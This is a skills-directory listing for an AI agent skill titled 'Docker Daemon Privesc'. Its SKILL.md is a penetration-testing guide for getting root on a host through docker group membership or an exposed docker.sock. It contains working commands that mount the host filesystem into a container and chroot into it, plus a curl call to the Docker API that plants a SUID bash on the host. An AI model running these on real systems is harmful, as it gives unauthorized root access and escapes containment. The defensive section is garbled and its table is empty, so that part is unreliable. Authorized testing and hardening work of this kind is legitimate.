Skip to content
Back to skills

Docker Daemon Privesc

ASecurity

Exploit misconfigured Docker environments, specifically focusing on privilege escalation via an exposed Docker daemon socket (`docker.sock`) or membership in the local `docker` user group to achieve root access on the host system.

  • 22 stars
  • 0 votes
  • 0 copies
  • 2 views
  • Added September 12, 2026
ai-agentsgoshellbashdockertestinggitapisecuritydocumentation

Works with

  • cli
  • api

Security analysis

A100/100

Pro scans all 3 files and shows the line behind each finding

Scanned September 12, 2026

npx -y skills add ShulkwiSEC/bb-huge --skill docker-daemon-privesc --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Docker Daemon Privesc?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Docker Daemon Privesc
[![Security: A β€” Skills Directory](https://www.skillsdirectory.com/api/skills/shulkwisec-docker-daemon-privesc/badge)](https://www.skillsdirectory.com/skills/shulkwisec-docker-daemon-privesc)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: docker-daemon-privesc
description: >
  Exploit misconfigured Docker environments, specifically focusing on privilege escalation 
  via an exposed Docker daemon socket (`docker.sock`) or membership in the local `docker` 
  user group to achieve root access on the host system.
domain: cybersecurity
subdomain: penetration-testing
category: Privilege Escalation
difficulty: intermediate
estimated_time: "1 hours"
mitre_attack:
  tactics: [TA0004]
  techniques: [T1611, T1548]
platforms: [linux, container]
tags: [docker, privesc, local-privilege-escalation, container-escape, docker-sock, linux]
tools: [docker, curl]
version: "1.0"
author: CyberSkills-Elite
license: Apache-2.0
---

# Docker Daemon Privilege Escalation

## When to Use
- During a Linux local privilege escalation phase.
- When you have a shell as a non-root user who is a member of the `docker` group.
- When you discover a writable Docker socket (e.g., `/var/run/docker.sock`) mounted inside a container or accessible on the host.


## Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture

## Workflow

### Phase 1: Enumeration

```bash
# Concept: Check if the current user is in the docker group or if the socket is writable. id
# Output: uid=1000(user) gid=1000(user) groups=1000(user),999(docker)

# Check socket permissions ls -l /var/run/docker.sock
# Output: srw-rw---- 1 root docker 0 Oct 26 10:00 /var/run/docker.sock
```

### Phase 2: Exploitation via Docker CLI

If the `docker` command is available:
```bash
# docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# id
# Output: uid=0(root) gid=0(root) groups=0(root)
```
*(Explanation: This mounts the host's root filesystem `/` into the container at `/mnt` and drops you into a shell inside the container but chrooted to the host's filesystem as root).*

### Phase 3: Exploitation via API (Curl)

If the `docker` CLI tool is not installed, but you can write to the socket:
```bash
# curl -X POST -H "Content-Type: application/json" -d '{"Image":"alpine","Cmd":["/bin/sh","-c","chroot /mnt sh -c \"cp /bin/bash /mnt/tmp/bash && chmod +s /mnt/tmp/bash\""],"Binds":["/:/mnt"]}' --unix-socket /var/run/docker.sock http://localhost/containers/create

# Start the container curl -X POST --unix-socket /var/run/docker.sock http://localhost/containers/<CONTAINER_ID>/start

# Execute the SUID binary on the host tmp/bash -p
```

#### Decision Point πŸ”€
```mermaid
flowchart TD
    A[Enumerate Docker ] --> B{In Docker Group / Socket Access? ]}
    B -->|Yes| C[Is Docker CLI present? ]
    B -->|No| D[Check other PrivEsc vectors ]
    C -->|Yes| E[Run container mounting Host FS ]
    C -->|No| F[Curl Docker API ]
```

## πŸ”΅ Blue Team Detection & Defense
- **Rootless Docker**: **Avoid Adding Users to Docker Group**: **Audit Logging for Docker Socket**: Key Concepts
| Concept | Description |
|---------|-------------|
## Output Format
```
Docker Daemon Privesc β€” Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] β€” [Brief description]
  [Finding 2]: [Severity] β€” [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]
```


## πŸ“š Shared Resources
> For cross-cutting methodology applicable to all vulnerability classes, see:
> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) β€” Exploit chaining methodology and high-payout chain patterns
> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) β€” HackerOne-optimized report writing, CWE quick reference
> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) β€” Verified disclosed bounties by vulnerability class

## References
- GTFOBins: [Docker](https://gtfobins.github.io/gtfobins/docker/)
- HackTricks: [Docker Privilege Escalation](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security)

Files in this skill

  • SKILL.md4.6 KB
  • evals/evals.json528 B
  • scripts/process.py7.8 KB

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…